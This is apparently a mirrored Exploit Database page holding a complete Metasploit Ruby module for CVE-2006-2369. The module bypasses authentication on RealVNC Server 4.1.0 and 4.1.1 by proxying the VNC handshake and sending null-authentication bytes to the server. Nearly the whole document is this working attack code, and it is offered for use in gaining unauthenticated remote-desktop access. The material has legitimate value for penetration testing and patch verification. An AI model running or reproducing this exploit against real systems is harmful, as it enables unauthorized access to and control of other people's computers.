RealVNC – Authentication Bypass (Metasploit)

• Exploit Database
• 116 阅读

• 作者： Metasploit
  日期： 2011-08-26
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17719/

• ##
  # $Id: realvnc_41_bypass.rb 13641 2011-08-26 04:40:21Z bannedit $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Auxiliary
  	include Msf::Exploit::Remote::Tcp
  	
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'RealVNC Authentication Bypass',
  			'Description'=> %q{
  				This module exploits an Authentication Bypass Vulnerability
  				in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy
  				listener on LPORT and proxies to the target server
  
  				The AUTOVNC option requires that vncviewer be installed on 
  				the attacking machine. This option should be disabled for Pro
  			},
  			'Author' => 
  				[
  					'hdm', #original msf2 module
  					'TheLightCosine <thelightcosine[at]gmail.com>'
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 13641 $',
  			'References' =>
  				[
  					['BID', '17978'],
  					['OSVDB', '25479'],
  					['URL', 'http://secunia.com/advisories/20107/'],
  					['CVE', 'CVE-2006-2369'],
  				],
  			'DisclosureDate' => 'May 15 2006'))
  
  		register_options(
  			[
  				OptAddress.new('RHOST', [true, 'The Target Host']),
  				OptPort.new('RPORT',[true, "The port the target VNC Server is listening on", 5900 ]),
  				OptPort.new('LPORT',[true, "The port the local VNC Proxy should listen on", 5900 ]),
  				OptBool.new('AUTOVNC',[true, "Automatically Launch vncviewer from this host", true])
  			], self.class)
  	end
  
  	def run
  		#starts up the Listener Server
  		print_status("starting listener")
  		listener = Rex::Socket::TcpServer.create(
  				'LocalHost' => '0.0.0.0',
  				'LocalPort' => datastore['LPORT'],
  				'Context' => { 'Msf' => framework, 'MsfExploit' => self }
  			)
  
  		#If the autovnc option is set to true this will spawn a vncviewer on the lcoal machine
  		#targetting the proxy listener.
  		if (datastore['AUTOVNC'])
  			unless (check_vncviewer())
  				print_error("vncviewer does not appear to be installed, exiting!!!")
  				return nil
  			end
  			print_status("Spawning viewer thread")	
  			view = framework.threads.spawn("VncViewerWrapper", false) {
  					system("vncviewer 127.0.0.1::#{datastore['LPORT']}")
  			}
  		end
  
  		#Establishes the connection between the viewier and the remote server
  		client = listener.accept
  		add_socket(client)
  
  		s = Rex::Socket::Tcp.create(
  				'PeerHost' => datastore['RHOST'],
  				'PeerPort' => datastore['RPORT'],
  				'Timeout' => 1
  				)
  		add_socket(s)
  		serverhello = s.gets
  		unless serverhello.include? "RFB 003.008"
  			print_error("The VNCServer is not vulnerable")
  			return
  		end
  
  		#MitM attack on the VNC Authentication Process
  		client.puts(serverhello)
  		clienthello = client.gets
  		s.puts(clienthello)
  		authmethods = s.recv(2)
  		print_status("Auth Methods Recieved. Sending Null Authentication Option to Client")
  		client.write("\x01\x01")
  		client.recv(1)
  		s.write("\x01")
  		s.recv(4)
  		client.write("\x00\x00\x00\x00")
  
  		#handles remaining proxy operations between the two sockets
  		closed = false
  		while(closed == false)
  			sockets =[]
  			sockets << client
  			sockets << s
  			selected = select(sockets,nil,nil,0)
  			#print_status ("Selected: #{selected.inspect}")
  			unless selected.nil?
  				if selected[0].include?(client)
  					#print_status("Transfering from client to server")
  					begin
  						data = client.sysread(8192)
  						if data.nil?
  							print_error("Client Closed Connection")
  							closed = true
  						else
  							s.write(data)
  						end
  					rescue
  						print_error("Client Closed Connection")	
  						closed = true
  					end
  				end
  				if selected[0].include?(s)
  					#print_status("Transfering from server to client")
  					begin
  						data = s.sysread(8192)
  						if data.nil?
  							print_error("Server Closed Connection")
  							closed = true
  						else
  							client.write(data)
  						end
  					rescue
  						closed = true
  					end
  				end
  			end
  		end
  
  		#Garbage Collection
  		s.close
  		client.close
  		print_status("Listener Closed")
  
  		if (datastore['AUTOVNC'])
  			view.kill
  			print_status("Viewer Closed")
  		end
  	end
  
  	def check_vncviewer
  		vnc =
  			Rex::FileUtils::find_full_path('vncviewer') ||
  			Rex::FileUtils::find_full_path('vncviewer.exe')
  		if (vnc)
  			return true
  		else
  			return false
  		end
  	end
  end